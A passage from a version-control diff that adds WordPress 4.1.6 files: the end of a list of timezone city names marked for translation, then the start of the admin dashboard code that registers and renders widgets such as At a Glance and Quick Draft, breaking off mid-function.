+__('Qatar', 'continents-cities');
+__('Qyzylorda', 'continents-cities');
+__('Rangoon', 'continents-cities');
+__('Riyadh', 'continents-cities');
+__('Saigon', 'continents-cities');
+__('Sakhalin', 'continents-cities');
+__('Samarkand', 'continents-cities');
+__('Seoul', 'continents-cities');
+__('Shanghai', 'continents-cities');
+__('Singapore', 'continents-cities');
+__('Taipei', 'continents-cities');
+__('Tashkent', 'continents-cities');
+__('Tbilisi', 'continents-cities');
+__('Tehran', 'continents-cities');
+__('Tel Aviv', 'continents-cities');
+__('Thimbu', 'continents-cities');
+__('Thimphu', 'continents-cities');
+__('Tokyo', 'continents-cities');
+__('Ujung Pandang', 'continents-cities');
+__('Ulaanbaatar', 'continents-cities');
+__('Ulan Bator', 'continents-cities');
+__('Urumqi', 'continents-cities');
+__('Vientiane', 'continents-cities');
+__('Vladivostok', 'continents-cities');
+__('Yakutsk', 'continents-cities');
+__('Yekaterinburg', 'continents-cities');
+__('Yerevan', 'continents-cities');
+__('Atlantic', 'continents-cities');
+__('Azores', 'continents-cities');
+__('Bermuda', 'continents-cities');
+__('Canary', 'continents-cities');
+__('Cape Verde', 'continents-cities');
+__('Faeroe', 'continents-cities');
+__('Faroe', 'continents-cities');
+__('Jan Mayen', 'continents-cities');
+__('Madeira', 'continents-cities');
+__('Reykjavik', 'continents-cities');
+__('South Georgia', 'continents-cities');
+__('St Helena', 'continents-cities');
+__('Stanley', 'continents-cities');
+__('Australia', 'continents-cities');
+__('ACT', 'continents-cities');
+__('Adelaide', 'continents-cities');
+__('Brisbane', 'continents-cities');
+__('Broken Hill', 'continents-cities');
+__('Canberra', 'continents-cities');
+__('Currie', 'continents-cities');
+__('Darwin', 'continents-cities');
+__('Eucla', 'continents-cities');
+__('Hobart', 'continents-cities');
+__('LHI', 'continents-cities');
+__('Lindeman', 'continents-cities');
+__('Lord Howe', 'continents-cities');
+__('Melbourne', 'continents-cities');
+__('North', 'continents-cities');
+__('NSW', 'continents-cities');
+__('Perth', 'continents-cities');
+__('Queensland', 'continents-cities');
+__('South', 'continents-cities');
+__('Sydney', 'continents-cities');
+__('Tasmania', 'continents-cities');
+__('Victoria', 'continents-cities');
+__('West', 'continents-cities');
+__('Yancowinna', 'continents-cities');
+__('Etc', 'continents-cities');
+__('GMT', 'continents-cities');
+__('GMT+0', 'continents-cities');
+__('GMT+1', 'continents-cities');
+__('GMT+10', 'continents-cities');
+__('GMT+11', 'continents-cities');
+__('GMT+12', 'continents-cities');
+__('GMT+2', 'continents-cities');
+__('GMT+3', 'continents-cities');
+__('GMT+4', 'continents-cities');
+__('GMT+5', 'continents-cities');
+__('GMT+6', 'continents-cities');
+__('GMT+7', 'continents-cities');
+__('GMT+8', 'continents-cities');
+__('GMT+9', 'continents-cities');
+__('GMT-0', 'continents-cities');
+__('GMT-1', 'continents-cities');
+__('GMT-10', 'continents-cities');
+__('GMT-11', 'continents-cities');
+__('GMT-12', 'continents-cities');
+__('GMT-13', 'continents-cities');
+__('GMT-14', 'continents-cities');
+__('GMT-2', 'continents-cities');
+__('GMT-3', 'continents-cities');
+__('GMT-4', 'continents-cities');
+__('GMT-5', 'continents-cities');
+__('GMT-6', 'continents-cities');
+__('GMT-7', 'continents-cities');
+__('GMT-8', 'continents-cities');
+__('GMT-9', 'continents-cities');
+__('GMT0', 'continents-cities');
+__('Greenwich', 'continents-cities');
+__('UCT', 'continents-cities');
+__('Universal', 'continents-cities');
+__('UTC', 'continents-cities');
+__('Zulu', 'continents-cities');
+__('Europe', 'continents-cities');
+__('Amsterdam', 'continents-cities');
+__('Andorra', 'continents-cities');
+__('Athens', 'continents-cities');
+__('Belfast', 'continents-cities');
+__('Belgrade', 'continents-cities');
+__('Berlin', 'continents-cities');
+__('Bratislava', 'continents-cities');
+__('Brussels', 'continents-cities');
+__('Bucharest', 'continents-cities');
+__('Budapest', 'continents-cities');
+__('Chisinau', 'continents-cities');
+__('Copenhagen', 'continents-cities');
+__('Dublin', 'continents-cities');
+__('Gibraltar', 'continents-cities');
+__('Guernsey', 'continents-cities');
+__('Helsinki', 'continents-cities');
+__('Isle of Man', 'continents-cities');
+__('Jersey', 'continents-cities');
+__('Kaliningrad', 'continents-cities');
+__('Kiev', 'continents-cities');
+__('Lisbon', 'continents-cities');
+__('Ljubljana', 'continents-cities');
+__('London', 'continents-cities');
+__('Luxembourg', 'continents-cities');
+__('Madrid', 'continents-cities');
+__('Malta', 'continents-cities');
+__('Mariehamn', 'continents-cities');
+__('Minsk', 'continents-cities');
+__('Monaco', 'continents-cities');
+__('Moscow', 'continents-cities');
+__('Oslo', 'continents-cities');
+__('Paris', 'continents-cities');
+__('Podgorica', 'continents-cities');
+__('Prague', 'continents-cities');
+__('Riga', 'continents-cities');
+__('Rome', 'continents-cities');
+__('Samara', 'continents-cities');
+__('San Marino', 'continents-cities');
+__('Sarajevo', 'continents-cities');
+__('Simferopol', 'continents-cities');
+__('Skopje', 'continents-cities');
+__('Sofia', 'continents-cities');
+__('Stockholm', 'continents-cities');
+__('Tallinn', 'continents-cities');
+__('Tirane', 'continents-cities');
+__('Tiraspol', 'continents-cities');
+__('Uzhgorod', 'continents-cities');
+__('Vaduz', 'continents-cities');
+__('Vatican', 'continents-cities');
+__('Vienna', 'continents-cities');
+__('Vilnius', 'continents-cities');
+__('Volgograd', 'continents-cities');
+__('Warsaw', 'continents-cities');
+__('Zagreb', 'continents-cities');
+__('Zaporozhye', 'continents-cities');
+__('Zurich', 'continents-cities');
+__('Indian', 'continents-cities');
+__('Antananarivo', 'continents-cities');
+__('Chagos', 'continents-cities');
+__('Christmas', 'continents-cities');
+__('Cocos', 'continents-cities');
+__('Comoro', 'continents-cities');
+__('Kerguelen', 'continents-cities');
+__('Mahe', 'continents-cities');
+__('Maldives', 'continents-cities');
+__('Mauritius', 'continents-cities');
+__('Mayotte', 'continents-cities');
+__('Reunion', 'continents-cities');
+__('Pacific', 'continents-cities');
+__('Apia', 'continents-cities');
+__('Auckland', 'continents-cities');
+__('Chatham', 'continents-cities');
+__('Easter', 'continents-cities');
+__('Efate', 'continents-cities');
+__('Enderbury', 'continents-cities');
+__('Fakaofo', 'continents-cities');
+__('Fiji', 'continents-cities');
+__('Funafuti', 'continents-cities');
+__('Galapagos', 'continents-cities');
+__('Gambier', 'continents-cities');
+__('Guadalcanal', 'continents-cities');
+__('Guam', 'continents-cities');
+__('Honolulu', 'continents-cities');
+__('Johnston', 'continents-cities');
+__('Kiritimati', 'continents-cities');
+__('Kosrae', 'continents-cities');
+__('Kwajalein', 'continents-cities');
+__('Majuro', 'continents-cities');
+__('Marquesas', 'continents-cities');
+__('Midway', 'continents-cities');
+__('Nauru', 'continents-cities');
+__('Niue', 'continents-cities');
+__('Norfolk', 'continents-cities');
+__('Noumea', 'continents-cities');
+__('Pago Pago', 'continents-cities');
+__('Palau', 'continents-cities');
+__('Pitcairn', 'continents-cities');
+__('Ponape', 'continents-cities');
+__('Port Moresby', 'continents-cities');
+__('Rarotonga', 'continents-cities');
+__('Saipan', 'continents-cities');
+__('Samoa', 'continents-cities');
+__('Tahiti', 'continents-cities');
+__('Tarawa', 'continents-cities');
+__('Tongatapu', 'continents-cities');
+__('Truk', 'continents-cities');
+__('Wake', 'continents-cities');
+__('Wallis', 'continents-cities');
+__('Yap', 'continents-cities');
Index: /tags/4.1.6/src/wp-admin/includes/dashboard.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/dashboard.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/dashboard.php	(revision 33402)
@@ -0,0 +1,1337 @@
+<?php
+/**
+ * WordPress Dashboard Widget Administration Screen API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Registers dashboard widgets.
+ *
+ * Handles POST data, sets up filters.
+ *
+ * @since 2.5.0
+ */
+function wp_dashboard_setup() {
+	global $wp_registered_widgets, $wp_registered_widget_controls, $wp_dashboard_control_callbacks;
+	$wp_dashboard_control_callbacks = array();
+	$screen = get_current_screen();
+
+	/* Register Widgets and Controls */
+
+	$response = wp_check_browser_version();
+
+	if ( $response && $response['upgrade'] ) {
+		add_filter( 'postbox_classes_dashboard_dashboard_browser_nag', 'dashboard_browser_nag_class' );
+		if ( $response['insecure'] )
+			wp_add_dashboard_widget( 'dashboard_browser_nag', __( 'You are using an insecure browser!' ), 'wp_dashboard_browser_nag' );
+		else
+			wp_add_dashboard_widget( 'dashboard_browser_nag', __( 'Your browser is out of date!' ), 'wp_dashboard_browser_nag' );
+	}
+
+	// Right Now
+	if ( is_blog_admin() && current_user_can('edit_posts') )
+		wp_add_dashboard_widget( 'dashboard_right_now', __( 'At a Glance' ), 'wp_dashboard_right_now' );
+
+	if ( is_network_admin() )
+		wp_add_dashboard_widget( 'network_dashboard_right_now', __( 'Right Now' ), 'wp_network_dashboard_right_now' );
+
+	// Activity Widget
+	if ( is_blog_admin() ) {
+		wp_add_dashboard_widget( 'dashboard_activity', __( 'Activity' ), 'wp_dashboard_site_activity' );
+	}
+
+	// QuickPress Widget
+	if ( is_blog_admin() && current_user_can( 'edit_posts' ) ) {
+		$quick_draft_title = sprintf( '<span class="hide-if-no-js">%1$s</span> <span class="hide-if-js">%2$s</span>', __( 'Quick Draft' ), __( 'Drafts' ) );
+		wp_add_dashboard_widget( 'dashboard_quick_press', $quick_draft_title, 'wp_dashboard_quick_press' );
+	}
+
+	// WordPress News
+	wp_add_dashboard_widget( 'dashboard_primary', __( 'WordPress News' ), 'wp_dashboard_primary' );
+
+	if ( is_network_admin() ) {
+
+		/**
+		 * Fires after core widgets for the Network Admin dashboard have been registered.
+		 *
+		 * @since 3.1.0
+		 */
+		do_action( 'wp_network_dashboard_setup' );
+
+		/**
+		 * Filter the list of widgets to load for the Network Admin dashboard.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param array $dashboard_widgets An array of dashboard widgets.
+		 */
+		$dashboard_widgets = apply_filters( 'wp_network_dashboard_widgets', array() );
+	} elseif ( is_user_admin() ) {
+
+		/**
+		 * Fires after core widgets for the User Admin dashboard have been registered.
+		 *
+		 * @since 3.1.0
+		 */
+		do_action( 'wp_user_dashboard_setup' );
+
+		/**
+		 * Filter the list of widgets to load for the User Admin dashboard.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param array $dashboard_widgets An array of dashboard widgets.
+		 */
+		$dashboard_widgets = apply_filters( 'wp_user_dashboard_widgets', array() );
+	} else {
+
+		/**
+		 * Fires after core widgets for the admin dashboard have been registered.
+		 *
+		 * @since 2.5.0
+		 */
+		do_action( 'wp_dashboard_setup' );
+
+		/**
+		 * Filter the list of widgets to load for the admin dashboard.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param array $dashboard_widgets An array of dashboard widgets.
+		 */
+		$dashboard_widgets = apply_filters( 'wp_dashboard_widgets', array() );
+	}
+
+	foreach ( $dashboard_widgets as $widget_id ) {
+		$name = empty( $wp_registered_widgets[$widget_id]['all_link'] ) ? $wp_registered_widgets[$widget_id]['name'] : $wp_registered_widgets[$widget_id]['name'] . " <a href='{$wp_registered_widgets[$widget_id]['all_link']}' class='edit-box open-box'>" . __('View all') . '</a>';
+		wp_add_dashboard_widget( $widget_id, $name, $wp_registered_widgets[$widget_id]['callback'], $wp_registered_widget_controls[$widget_id]['callback'] );
+	}
+
+	if ( 'POST' == $_SERVER['REQUEST_METHOD'] && isset($_POST['widget_id']) ) {
+		check_admin_referer( 'edit-dashboard-widget_' . $_POST['widget_id'], 'dashboard-widget-nonce' );
+		ob_start(); // hack - but the same hack wp-admin/widgets.php uses
+		wp_dashboard_trigger_widget_control( $_POST['widget_id'] );
+		ob_end_clean();
+		wp_redirect( remove_query_arg( 'edit' ) );
+		exit;
+	}
+
+	/** This action is documented in wp-admin/edit-form-advanced.php */
+	do_action( 'do_meta_boxes', $screen->id, 'normal', '' );
+
+	/** This action is documented in wp-admin/edit-form-advanced.php */
+	do_action( 'do_meta_boxes', $screen->id, 'side', '' );
+}
+
+function wp_add_dashboard_widget( $widget_id, $widget_name, $callback, $control_callback = null, $callback_args = null ) {
+	$screen = get_current_screen();
+	global $wp_dashboard_control_callbacks;
+
+	if ( $control_callback && current_user_can( 'edit_dashboard' ) && is_callable( $control_callback ) ) {
+		$wp_dashboard_control_callbacks[$widget_id] = $control_callback;
+		if ( isset( $_GET['edit'] ) && $widget_id == $_GET['edit'] ) {
+			list($url) = explode( '#', add_query_arg( 'edit', false ), 2 );
+			$widget_name .= ' <span class="postbox-title-action"><a href="' . esc_url( $url ) . '">' . __( 'Cancel' ) . '</a></span>';
+			$callback = '_wp_dashboard_control_callback';
+		} else {
+			list($url) = explode( '#', add_query_arg( 'edit', $widget_id ), 2 );
+			$widget_name .= ' <span class="postbox-title-action"><a href="' . esc_url( "$url#$widget_id" ) . '" class="edit-box open-box">' . __( 'Configure' ) . '</a></span>';
+		}
+	}
+
+	$side_widgets = array( 'dashboard_quick_press', 'dashboard_primary' );
+
+	$location = 'normal';
+	if ( in_array($widget_id, $side_widgets) )
+		$location = 'side';
+
+	$priority = 'core';
+	if ( 'dashboard_browser_nag' === $widget_id )
+		$priority = 'high';
+
+	add_meta_box( $widget_id, $widget_name, $callback, $screen, $location, $priority, $callback_args );
+}
+
+function _wp_dashboard_control_callback( $dashboard, $meta_box ) {
+	echo '<form action="" method="post" class="dashboard-widget-control-form">';
+	wp_dashboard_trigger_widget_control( $meta_box['id'] );
+	wp_nonce_field( 'edit-dashboard-widget_' . $meta_box['id'], 'dashboard-widget-nonce' );
+	echo '<input type="hidden" name="widget_id" value="' . esc_attr($meta_box['id']) . '" />';
+	submit_button( __('Submit') );
+	echo '</form>';
+}
+
+/**
+ * Displays the dashboard.
+ *
+ * @since 2.5.0
+ */
+function wp_dashboard() {
+	$screen = get_current_screen();
+	$columns = absint( $screen->get_columns() );
+	$columns_css = '';
+	if ( $columns ) {
+		$columns_css = " columns-$columns";
+	}
+
+?>
+<div id="dashboard-widgets" class="metabox-holder<?php echo $columns_css; ?>">
+	<div id="postbox-container-1" class="postbox-container">
+	<?php do_meta_boxes( $screen->id, 'normal', '' ); ?>
+	</div>
+	<div id="postbox-container-2" class="postbox-container">
+	<?php do_meta_boxes( $screen->id, 'side', '' ); ?>
+	</div>
+	<div id="postbox-container-3" class="postbox-container">
+	<?php do_meta_boxes( $screen->id, 'column3', '' ); ?>
+	</div>
+	<div id="postbox-container-4" class="postbox-container">
+	<?php do_meta_boxes( $screen->id, 'column4', '' ); ?>
+	</div>
+</div>
+
+<?php
+	wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
+	wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
+
+}
+
+//
+// Dashboard Widgets
+//
+
+/**
+ * Dashboard widget that displays some basic stats about the site.
+ *
+ * Formerly 'Right Now'. A streamlined 'At a Glance' as of 3.8.
+ *
+ * @since 2.7.0
+ */
+function wp_dashboard_right_now() {
+?>
+	<div class="main">
+	<ul>
+	<?php
+	// Posts and Pages
+	foreach ( array( 'post', 'page' ) as $post_type ) {
+		$num_posts = wp_count_posts( $post_type );
+		if ( $num_posts && $num_posts->publish ) {
+			if ( 'post' == $post_type ) {
+				$text = _n( '%s Post', '%s Posts', $num_posts->publish );
+			} else {
+				$text = _n( '%s Page', '%s Pages', $num_posts->publish );
+			}
+			$text = sprintf( $text, number_format_i18n( $num_posts->publish ) );
+			$post_type_object = get_post_type_object( $post_type );
+			if ( $post_type_object && current_user_can( $post_type_object->cap->edit_posts ) ) {
+				printf( '<li class="%1$s-count"><a href="edit.php?post_type=%1$s">%2$s</a></li>', $post_type, $text );
+			} else {
+				printf( '<li class="%1$s-count"><span>%2$s</span></li>', $post_type, $text );
+			}
+
+		}
+	}
+	// Comments
+	$num_comm = wp_count_comments();
+	if ( $num_comm && $num_comm->approved ) {
+		$text = sprintf( _n( '%s Comment', '%s Comments', $num_comm->approved ), number_format_i18n( $num_comm->approved ) );
+		?>
+		<li class="comment-count"><a href="edit-comments.php"><?php echo $text; ?></a></li>
+		<?php
+		if ( $num_comm->moderated ) {
+			/* translators: Number of comments in moderation */
+			$text = sprintf( _nx( '%s in moderation', '%s in moderation', $num_comm->moderated, 'comments' ), number_format_i18n( $num_comm->moderated ) );
+			?>
+			<li class="comment-mod-count"><a href="edit-comments.php?comment_status=moderated"><?php echo $text; ?></a></li>
+			<?php
+		}
+	}
+
+	/**
+	 * Filter the array of extra elements to list in the 'At a Glance'
+	 * dashboard widget.
+	 *
+	 * Prior to 3.8.0, the widget was named 'Right Now'. Each element
+	 * is wrapped in list-item tags on output.
+	 *
+	 * @since 3.8.0
+	 *
+	 * @param array $items Array of extra 'At a Glance' widget items.
+	 */
+	$elements = apply_filters( 'dashboard_glance_items', array() );
+
+	if ( $elements ) {
+		echo '<li>' . implode( "</li>\n<li>", $elements ) . "</li>\n";
+	}
+
+	?>
+	</ul>
+	<?php
+	update_right_now_message();
+
+	// Check if search engines are asked not to index this site.
+	if ( ! is_network_admin() && ! is_user_admin() && current_user_can( 'manage_options' ) && '1' != get_option( 'blog_public' ) ) {
+
+		/**
+		 * Filter the link title attribute for the 'Search Engines Discouraged'
+		 * message displayed in the 'At a Glance' dashboard widget.
+		 *
+		 * Prior to 3.8.0, the widget was named 'Right Now'.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $title Default attribute text.
+		 */
+		$title = apply_filters( 'privacy_on_link_title', __( 'Your site is asking search engines not to index its content' ) );
+
+		/**
+		 * Filter the link label for the 'Search Engines Discouraged' message
+		 * displayed in the 'At a Glance' dashboard widget.
+		 *
+		 * Prior to 3.8.0, the widget was named 'Right Now'.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $content Default text.
+		 */
+		$content = apply_filters( 'privacy_on_link_text' , __( 'Search Engines Discouraged' ) );
+
+		echo "<p><a href='options-reading.php' title='$title'>$content</a></p>";
+	}
+	?>
+	</div>
+	<?php
+	/*
+	 * activity_box_end has a core action, but only prints content when multisite.
+	 * Using an output buffer is the only way to really check if anything's displayed here.
+	 */
+	ob_start();
+
+	/**
+	 * Fires at the end of the 'At a Glance' dashboard widget.
+	 *
+	 * Prior to 3.8.0, the widget was named 'Right Now'.
+	 *
+	 * @since 2.5.0
+	 */
+	do_action( 'rightnow_end' );
+
+	/**
+	 * Fires at the end of the 'At a Glance' dashboard widget.
+	 *
+	 * Prior to 3.8.0, the widget was named 'Right Now'.
+	 *
+	 * @since 2.0.0
+	 */
+	do_action( 'activity_box_end' );
+
+	$actions = ob_get_clean();
+
+	if ( !empty( $actions ) ) : ?>
+	<div class="sub">
+		<?php echo $actions; ?>
+	</div>
+	<?php endif;
+}
+
+function wp_network_dashboard_right_now() {
+	$actions = array();
+	if ( current_user_can('create_sites') )
+		$actions['create-site'] = '<a href="' . network_admin_url('site-new.php') . '">' . __( 'Create a New Site' ) . '</a>';
+	if ( current_user_can('create_users') )
+		$actions['create-user'] = '<a href="' . network_admin_url('user-new.php') . '">' . __( 'Create a New User' ) . '</a>';
+
+	$c_users = get_user_count();
+	$c_blogs = get_blog_count();
+
+	$user_text = sprintf( _n( '%s user', '%s users', $c_users ), number_format_i18n( $c_users ) );
+	$blog_text = sprintf( _n( '%s site', '%s sites', $c_blogs ), number_format_i18n( $c_blogs ) );
+
+	$sentence = sprintf( __( 'You have %1$s and %2$s.' ), $blog_text, $user_text );
+
+	if ( $actions ) {
+		echo '<ul class="subsubsub">';
+		foreach ( $actions as $class => $action ) {
+			 $actions[ $class ] = "\t<li class='$class'>$action";
+		}
+		echo implode( " |</li>\n", $actions ) . "</li>\n";
+		echo '</ul>';
+	}
+?>
+	<br class="clear" />
+
+	<p class="youhave"><?php echo $sentence; ?></p>
+
+
+	<?php
+		/**
+		 * Fires in the Network Admin 'Right Now' dashboard widget
+		 * just before the user and site search form fields.
+		 *
+		 * @since MU
+		 *
+		 * @param null $unused
+		 */
+		do_action( 'wpmuadminresult', '' );
+	?>
+
+	<form action="<?php echo network_admin_url('users.php'); ?>" method="get">
+		<p>
+			<input type="search" name="s" value="" size="30" autocomplete="off" />
+			<?php submit_button( __( 'Search Users' ), 'button', 'submit', false, array( 'id' => 'submit_users' ) ); ?>
+		</p>
+	</form>
+
+	<form action="<?php echo network_admin_url('sites.php'); ?>" method="get">
+		<p>
+			<input type="search" name="s" value="" size="30" autocomplete="off" />
+			<?php submit_button( __( 'Search Sites' ), 'button', 'submit', false, array( 'id' => 'submit_sites' ) ); ?>
+		</p>
+	</form>
+<?php
+	/**
+	 * Fires at the end of the 'Right Now' widget in the Network Admin dashboard.
+	 *
+	 * @since MU
+	 */
+	do_action( 'mu_rightnow_end' );
+
+	/**
+	 * Fires at the end of the 'Right Now' widget in the Network Admin dashboard.
+	 *
+	 * @since MU
+	 */
+	do_action( 'mu_activity_box_end' );
+}
+
+/**
+ * The Quick Draft widget display and creation of drafts.
+ *
+ * @since 3.8.0
+ *
+ * @param string $error_msg Optional. Error message. Default false.
+ */
+function wp_dashboard_quick_press( $error_msg = false ) {
+	global $post_ID;
+
+	if ( ! current_user_can( 'edit_posts' ) ) {
+		return;
+	}
+
+	/* Check if a new auto-draft (= no new post_ID) is needed or if the old can be used */
+	$last_post_id = (int) get_user_option( 'dashboard_quick_press_last_post_id' ); // Get the last post_ID
+	if ( $last_post_id ) {
+		$post = get_post( $last_post_id );
+		if ( empty( $post ) || $post->post_status != 'auto-draft' ) { // auto-draft doesn't exists anymore
+			$post = get_default_post_to_edit( 'post', true );
+			update_user_option( get_current_user_id(), 'dashboard_quick_press_last_post_id', (int) $post->ID ); // Save post_ID
+		} else {
+			$post->post_title = ''; // Remove the auto draft title
+		}
+	} else {
+		$post = get_default_post_to_edit( 'post' , true);
+		$user_id = get_current_user_id();
+		// Don't create an option if this is a super admin who does not belong to this site.
+		if ( ! ( is_super_admin( $user_id ) && ! in_array( get_current_blog_id(), array_keys( get_blogs_of_user( $user_id ) ) ) ) )
+			update_user_option( $user_id, 'dashboard_quick_press_last_post_id', (int) $post->ID ); // Save post_ID
+	}
+
+	$post_ID = (int) $post->ID;
+?>
+
+	<form name="post" action="<?php echo esc_url( admin_url( 'post.php' ) ); ?>" method="post" id="quick-press" class="initial-form hide-if-no-js">
+
+		<?php if ( $error_msg ) : ?>
+		<div class="error"><?php echo $error_msg; ?></div>
+		<?php endif; ?>
+
+		<div class="input-text-wrap" id="title-wrap">
+			<label class="screen-reader-text prompt" for="title" id="title-prompt-text">
+
+				<?php
+				/** This filter is documented in wp-admin/edit-form-advanced.php */
+				echo apply_filters( 'enter_title_here', __( 'Title' ), $post );
+				?>
+			</label>
+			<input type="text" name="post_title" id="title" autocomplete="off" />
+		</div>
+
+		<div class="textarea-wrap" id="description-wrap">
+			<label class="screen-reader-text prompt" for="content" id="content-prompt-text"><?php _e( 'What&#8217;s on your mind?' ); ?></label>
+			<textarea name="content" id="content" class="mceEditor" rows="3" cols="15" autocomplete="off"></textarea>
+		</div>
+
+		<p class="submit">
+			<input type="hidden" name="action" id="quickpost-action" value="post-quickdraft-save" />
+			<input type="hidden" name="post_ID" value="<?php echo $post_ID; ?>" />
+			<input type="hidden" name="post_type" value="post" />
+			<?php wp_nonce_field( 'add-post' ); ?>
+			<?php submit_button( __( 'Save Draft' ), 'primary', 'save', false, array( 'id' => 'save-post' ) ); ?>
+			<br class="clear" />
+		</p>
+
+	</form>
+	<?php
+	wp_dashboard_recent_drafts();
+}
+
+/**
+ * Show recent drafts of the user on the dashboard.
+ *
+ * @since 2.7.0
+ */
+function wp_dashboard_recent_drafts( $drafts = false ) {
+	if ( ! $drafts ) {
+		$query_args = array(
+			'post_type'      => 'post',
+			'post_status'    => 'draft',
+			'author'         => get_current_user_id(),
+			'posts_per_page' => 4,
+			'orderby'        => 'modified',
+			'order'          => 'DESC'
+		);
+		$drafts = get_posts( $query_args );
+		if ( ! $drafts ) {
+			return;
+ 		}
+ 	}
+
+	echo '<div class="drafts">';
+	if ( count( $drafts ) > 3 ) {
+		echo '<p class="view-all"><a href="' . esc_url( admin_url( 'edit.php?post_status=draft' ) ) . '">' . _x( 'View all', 'drafts' ) . "</a></p>\n";
+ 	}
+	echo '<h4 class="hide-if-no-js">' . __( 'Drafts' ) . "</h4>\n<ul>";
+
+	$drafts = array_slice( $drafts, 0, 3 );
+	foreach ( $drafts as $draft ) {
+		$url = get_edit_post_link( $draft->ID );
+		$title = _draft_or_post_title( $draft->ID );
+		echo "<li>\n";
+		echo '<div class="draft-title"><a href="' . esc_url( $url ) . '" title="' . esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $title ) ) . '">' . esc_html( $title ) . '</a>';
+		echo '<time datetime="' . get_the_time( 'c', $draft ) . '">' . get_the_time( get_option( 'date_format' ), $draft ) . '</time></div>';
+		if ( $the_content = wp_trim_words( $draft->post_content, 10 ) ) {
+			echo '<p>' . $the_content . '</p>';
+ 		}
+		echo "</li>\n";
+ 	}
+	echo "</ul>\n</div>";
+}
+
+function _wp_dashboard_recent_comments_row( &$comment, $show_date = true ) {
+	$GLOBALS['comment'] =& $comment;
+
+	$comment_post_title = _draft_or_post_title( $comment->comment_post_ID );
+
+	if ( current_user_can( 'edit_post', $comment->comment_post_ID ) ) {
+		$comment_post_url = get_edit_post_link( $comment->comment_post_ID );
+		$comment_post_link = "<a href='$comment_post_url'>$comment_post_title</a>";
+	} else {
+		$comment_post_link = $comment_post_title;
+	}
+
+	$comment_link = '<a class="comment-link" href="' . esc_url(get_comment_link()) . '">#</a>';
+
+	$actions_string = '';
+	if ( current_user_can( 'edit_comment', $comment->comment_ID ) ) {
+		// Pre-order it: Approve | Reply | Edit | Spam | Trash.
+		$actions = array(
+			'approve' => '', 'unapprove' => '',
+			'reply' => '',
+			'edit' => '',
+			'spam' => '',
+			'trash' => '', 'delete' => ''
+		);
+
+		$del_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "delete-comment_$comment->comment_ID" ) );
+		$approve_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "approve-comment_$comment->comment_ID" ) );
+
+		$approve_url = esc_url( "comment.php?action=approvecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$approve_nonce" );
+		$unapprove_url = esc_url( "comment.php?action=unapprovecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$approve_nonce" );
+		$spam_url = esc_url( "comment.php?action=spamcomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" );
+		$trash_url = esc_url( "comment.php?action=trashcomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" );
+		$delete_url = esc_url( "comment.php?action=deletecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" );
+
+		$actions['approve'] = "<a href='$approve_url' data-wp-lists='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=approved' class='vim-a' title='" . esc_attr__( 'Approve this comment' ) . "'>" . __( 'Approve' ) . '</a>';
+		$actions['unapprove'] = "<a href='$unapprove_url' data-wp-lists='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=unapproved' class='vim-u' title='" . esc_attr__( 'Unapprove this comment' ) . "'>" . __( 'Unapprove' ) . '</a>';
+		$actions['edit'] = "<a href='comment.php?action=editcomment&amp;c={$comment->comment_ID}' title='" . esc_attr__('Edit comment') . "'>". __('Edit') . '</a>';
+		$actions['reply'] = '<a onclick="window.commentReply && commentReply.open(\''.$comment->comment_ID.'\',\''.$comment->comment_post_ID.'\');return false;" class="vim-r hide-if-no-js" title="'.esc_attr__('Reply to this comment').'" href="#">' . __('Reply') . '</a>';
+		$actions['spam'] = "<a href='$spam_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID::spam=1' class='vim-s vim-destructive' title='" . esc_attr__( 'Mark this comment as spam' ) . "'>" . /* translators: mark as spam link */ _x( 'Spam', 'verb' ) . '</a>';
+		if ( !EMPTY_TRASH_DAYS )
+			$actions['delete'] = "<a href='$delete_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID::trash=1' class='delete vim-d vim-destructive'>" . __('Delete Permanently') . '</a>';
+		else
+			$actions['trash'] = "<a href='$trash_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID::trash=1' class='delete vim-d vim-destructive' title='" . esc_attr__( 'Move this comment to the trash' ) . "'>" . _x('Trash', 'verb') . '</a>';
+
+		/**
+		 * Filter the action links displayed for each comment in the 'Recent Comments'
+		 * dashboard widget.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param array  $actions An array of comment actions. Default actions include:
+		 *                        'Approve', 'Unapprove', 'Edit', 'Reply', 'Spam',
+		 *                        'Delete', and 'Trash'.
+		 * @param object $comment The comment object.
+		 */
+		$actions = apply_filters( 'comment_row_actions', array_filter($actions), $comment );
+
+		$i = 0;
+		foreach ( $actions as $action => $link ) {
+			++$i;
+			( ( ('approve' == $action || 'unapprove' == $action) && 2 === $i ) || 1 === $i ) ? $sep = '' : $sep = ' | ';
+
+			// Reply and quickedit need a hide-if-no-js span
+			if ( 'reply' == $action || 'quickedit' == $action )
+				$action .= ' hide-if-no-js';
+
+			$actions_string .= "<span class='$action'>$sep$link</span>";
+		}
+	}
+
+?>
+
+		<div id="comment-<?php echo $comment->comment_ID; ?>" <?php comment_class( array( 'comment-item', wp_get_comment_status($comment->comment_ID) ) ); ?>>
+
+			<?php echo get_avatar( $comment, 50, 'mystery' ); ?>
+
+			<?php if ( !$comment->comment_type || 'comment' == $comment->comment_type ) : ?>
+
+			<div class="dashboard-comment-wrap">
+			<h4 class="comment-meta">
+				<?php printf( /* translators: 1: comment author, 2: post link, 3: notification if the comment is pending */__( 'From %1$s on %2$s%3$s' ),
